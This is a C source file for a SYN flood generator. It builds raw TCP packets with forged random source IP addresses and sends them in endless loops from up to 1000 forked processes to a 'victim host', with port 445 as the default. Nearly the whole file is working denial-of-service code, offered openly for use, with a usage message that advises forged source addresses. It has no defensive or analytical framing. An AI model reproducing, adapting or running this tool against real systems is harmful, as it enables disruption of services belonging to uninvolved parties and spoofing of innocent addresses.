/*
* Function: SYN flood generator
*
* File Name: synf.c
*
* Copyright by: free redistribution
*
* Created by: dangdanding@163.com
*
* //create RAW socket
* //When use SOCK_RAW socket and set IP_HDRINCL option, user must fill out
* //all the IP header except that two items:
* // iphdr->check = 0; iphdr->id = 0;
*
* if (-1 == (sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW))) {
* err_sys(argv[0], "socket() error!");
* }
* //set ip options, int on = 1
* if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
* err_sys(argv[0], "setsockopt() error!");
* }
*
*
* Platform: Linux
* Version: 0.1v
* Make: gcc -Wall -o synf synf.c raw_gen.c error.c -DLINUX
*
* Usage: ./synf -h victim_host -p port_number -S
*
* Change Log:
* 2006/04/20: add Multi-process supporting when sending SYN flag packets.
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <time.h>
#include <sys/wait.h>
#include <signal.h>
#include "raw_gen.h"
#define SEQ 0x23532355
#define ACKSEQ 0x8532355
#
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min)) //get random number
//#define DEBUG 1
#ifdef DEBUG
#define debug(stderr, msg) fprintf(stderr, msg)
#else
#define debug(stderr, msg)
#endif
#define _ ,
int nump = 5; //number of sub_process, default is 5
int listp[1000]; //used to store the pid of sub_process,maximum number is 1000
void usage(char *);
void err_sys(char *, char *);
void gensrcip(char *src); //randomly generate host address in dot number
/* Write out an IP header.*/
extern void ip_gen(char *packet,unsigned char protocol,struct in_addr saddr,
struct in_addr daddr,unsigned short length);
/* checksum for addr */
extern unsigned short in_cksum(const unsigned short *addr,int len);
/* Write out a TCP header */
extern void tcp_gen(char *packet,unsigned short sport, unsigned short dport,
unsigned long seq,
unsigned long ackseq,
u_int16_t fin,
u_int16_t syn,
u_int16_t rst,
u_int16_t ack,
u_int16_t psh,
u_int16_t urg);
/* Write out a UDP header */
extern void udp_gen(char *packet,unsigned short sport,
unsigned short dport,unsigned short length);
/* Transport header checksum for TCP UDP */
extern unsigned short trans_check(unsigned char proto,
char *packet,
int length,
struct in_addr source_address,
struct in_addr dest_address);
void send_raw_tcp(int wildsrc, struct sockaddr_in sin, struct sockaddr_in din,
unsigned short sport, unsigned short dport,
unsigned long seq, unsigned long ackseq,
u_int16_t fin,
u_int16_t syn,
u_int16_t rst,
u_int16_t ack,
u_int16_t psh,
u_int16_t urg);
/*
*Capture the signale of CTL+c keys being pressed.
*signal action function for signal SIGINT
*/
static void sig_int(int signo);
int main(int argc, char *argv[])
{
int dstport = 445; //destination port
struct hostent *victim = NULL; //victim host
struct hostent *srchost = NULL; //source host
struct sockaddr_in din; //socket for victim host
struct sockaddr_in sin; //socket for source host
//int sockfd; //socket file description for RAW socket
//const int on = 1; //for setsockopt()
int c; //used by getopt
int wildsrc = 1; // default 1 indicate random source address
//tcp flag bit
u_int16_t fin = 0;
u_int16_t syn = 0; // 1 dedicate syn flood
u_int16_t rst = 0;
u_int16_t ack = 0;
u_int16_t psh = 0;
u_int16_t urg = 0;
int status; //sub-process exiting status
pid_t pid;
struct sigaction act, oact;
#ifdef DEBUG
char srcstr[1024 + 1] = "";
#endif
/*
act.sa_handler = sig_int;
sigemptyset(&act.sa_mask);
act.sa_flags =SA_RESTART;
if (sigaction(SIGINT, &act, &oact) < 0) {
err_sys(argv[0], "sigaction() error/n");
}
*/
if (argc < 5) {
fprintf(stderr, "error parameter entered/n");
usage(argv[0]);
}
//init sockaddr_in
bzero(&din, sizeof(struct sockaddr_in));
bzero(&sin, sizeof(struct sockaddr_in));
while ((c = getopt(argc, argv, "n:h:p:s:SFPAURm")) != -1) {
switch(c) {
case 'h': //victim host
if (NULL == (victim = gethostbyname(optarg))) {
fprintf(stderr, "%s: victim host can't be reachable/n", argv[0]);
usage(argv[0]);
}
//din.sin_addr.s_addr = *((unsigned int *)(victim->h_addr));
din.sin_addr = *(struct in_addr *)victim->h_addr;
debug(stderr, "DST: %s/n" _ victim->h_name );
break;
case 's': //source address
if (NULL != (srchost = gethostbyname(optarg))) {
wildsrc = 0;
sin.sin_addr = *(struct in_addr *)srchost->h_addr;
debug(stderr, "SRC: %s/n" _ srchost->h_name );
} else {
fprintf(stderr, "%s: illegal source host, use forged srcIP/n", argv[0]);
}
break;
case 'p': //port number
errno = 0;
dstport = strtol(optarg, (char **)NULL, 10);
if (errno) {
err_sys(argv[0], "port number is illegal");
}
break;
case 'n': //number of process
errno = 0;
nump = strtol(optarg, (char **)NULL, 10);
if (errno) {
err_sys(argv[0], "port number is illegal");
}
if (nump > 1000) {
fprintf(stderr, "too much more sub_processes, use default/n");
nump = 5;
}
if (nump < 1) {
fprintf(stderr, "too less more sub_processes, use default/n");
nump = 5;
}
break;
case 'S':
syn = 1; //syn flood
break;
case 'F':
fin = 1;
break;
case 'U':
urg = 1;
break;
case 'P':
psh = 1;
break;
case 'R':
rst = 1;
break;
case 'A':
ack = 1;
break;
case 'm':
usage(argv[0]);
break;
case ':':
fprintf(stderr, "Missing specified argument for -%c parameter/n", optopt);
exit(opterr);
case '?':
fprintf(stderr, "Unkown parameter -%c specified/n", optopt);
usage(argv[0]);
exit(opterr);
default:
usage(argv[0]);
exit(1);
}
} //end of getopt
fflush(stdout);
//fork()
for(c = 0; c < nump; c++) {
if ((listp[c] = fork()) == 0) { //child process
send_raw_tcp(wildsrc, sin, din,
1024 + getrandom(1, 40960), dstport,
rand()%time(0), rand()%time(0),
fin, syn, rst,ack, psh, urg);
exit(0); //child process exited
}
if (listp[c] < 0) {
fprintf(stderr, "fork() error/n");
break;
}
} //end of for loop
nump = c; //sub-process number being forked suceessfully.
act.sa_handler = sig_int;
sigemptyset(&act.sa_mask);
act.sa_flags =SA_RESTART;
if (sigaction(SIGINT, &act, &oact) < 0) {
err_sys(argv[0], "sigaction() error/n");
}
//waiting for sub-process exiting
fflush(stdout);
for (c = 0; c < nump; c++) {
debug(stdout, "before WAIT/n");
again:
if ((pid = wait(&status)) == -1) {
if (EINTR == errno) goto again;
err_sys(argv[0], "wait() error");
}
fprintf(stdout, "Sub-process %i exited!/n", pid);
fflush(stdout);
}
debug(stdout, "after WAIT/n");
fflush(stdout);
return 0;
}//end of main()
void usage(char *s)
{
fprintf(stdout, "SYN flood generator, Created by dangdanding@163.com/n");
fprintf(stdout,"Usage: %s options/n /
-h victim host/n /
-p port number/n /
-A set ACK bit for TCP header/n /
-S set SYN bit for TCP header, if -S set then generate SYN flood and not set -s is better/n /
-R set RST bit for TCP header/n /
-P set PUSH bit for TCP header/n /
-F set FIN bit for TCP header/n /
-U set URG bit for TCP header/n /
-n number of sub-process/n /
-m show this message and exit/n /
-s optional source address, if not specified, use forged src IP /n", s);
exit(1);
}//end of usage()
/*
void error(char *s1, char *s2)
{
extern int errno;
int errorno = errno;
fprintf(stderr, "%s:", s1);
perror(s2);
exit(errorno);
}
*/
void gensrcip(char *srchost) {
int a = 11, b = 253, c = 200, d = 224;
a = getrandom(150,254);
b = getrandom(1, 254);
c = getrandom(1, 254);
d = getrandom(1, 254);
snprintf(srchost, 20, "%i.%i.%i.%i", a, b, c, d);
return;
}
void send_raw_tcp(int wildsrc, struct sockaddr_in sin, struct sockaddr_in din,
unsigned short sport, unsigned short dport,
unsigned long seq, unsigned long ackseq,
u_int16_t fin,
u_int16_t syn,
u_int16_t rst,
u_int16_t ack,
u_int16_t psh,
u_int16_t urg)
{
char srcip[20]; //source host address in dot number;
int sockfd; //socket file description for RAW socket
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr)]; //ip pachet buff
struct tcphdr *tcphdr = NULL;
struct hostent *srchost = NULL; //source host
//create RAW socket
sockfd = get_raw_socket();
//initialize dst socket
din.sin_family = AF_INET;
din.sin_port = htons(dport);
srand(time(0));
//send SYN packets to victim host infinite
for (;;) {
//generate randomly source ip address if specified 0 for -s parameter
if (wildsrc) {
gensrcip(srcip);
if (NULL == (srchost = gethostbyname(srcip))) {
err_sys("send_raw_tcp: ", "gethostbyname() error!");
}
sin.sin_addr = *(struct in_addr *)srchost->h_addr;
debug(stderr, "srource IP: %s/n" _ srcip);
}
//generate ip header
ip_gen(packet, IPPROTO_TCP, sin.sin_addr, din.sin_addr,
(sizeof(struct iphdr) + sizeof(struct tcphdr)));
//generate tcp header
tcphdr = (struct tcphdr *)(packet + sizeof(struct ip));
//tcp_gen((char *)tcphdr, sport, dport, seq, ackseq, fin, syn, rst, ack, psh, urg)
tcp_gen((char *)tcphdr,
1024 + getrandom(1, 40960), //random src PORT
dport,
200,//rand()%time(0), //random
rand()%time(0), //random
fin, syn, rst,ack, psh, urg);
tcphdr->check = trans_check(IPPROTO_TCP, (char *)tcphdr,
sizeof(struct tcphdr),
sin.sin_addr,
din.sin_addr);
//send syn flood to victim
if (sendto(sockfd, &packet, (sizeof(struct iphdr) + sizeof(struct tcphdr)), 0x0,
(struct sockaddr *)&din,
sizeof(struct sockaddr_in)) != sizeof(struct iphdr) + sizeof(struct tcphdr)) {
err_sys("send_raw_tcp: ", "sendto() error");
}
debug(stderr, "sendto() ok/n");
} //end of for
return;
} //end of send_raw_tcp
/*
* if CTL+c pressed, kill all child processes
*/
static void sig_int(int signo)
{
int olderr = errno;
int i = 0; //loop temporary
//printf("ProcessID: %i received signal: %i/n", getpid(), signo);
for (i = 0; i < nump; i++) {
//printf("kill pid: %i/n", listp[i]);
if (listp[i]) {
while(kill(listp[i], SIGKILL) != 0){}
}
}
errno = olderr;
//printf("ProcessID: %i received signal: %i/n", getpid(), signo);
return;
}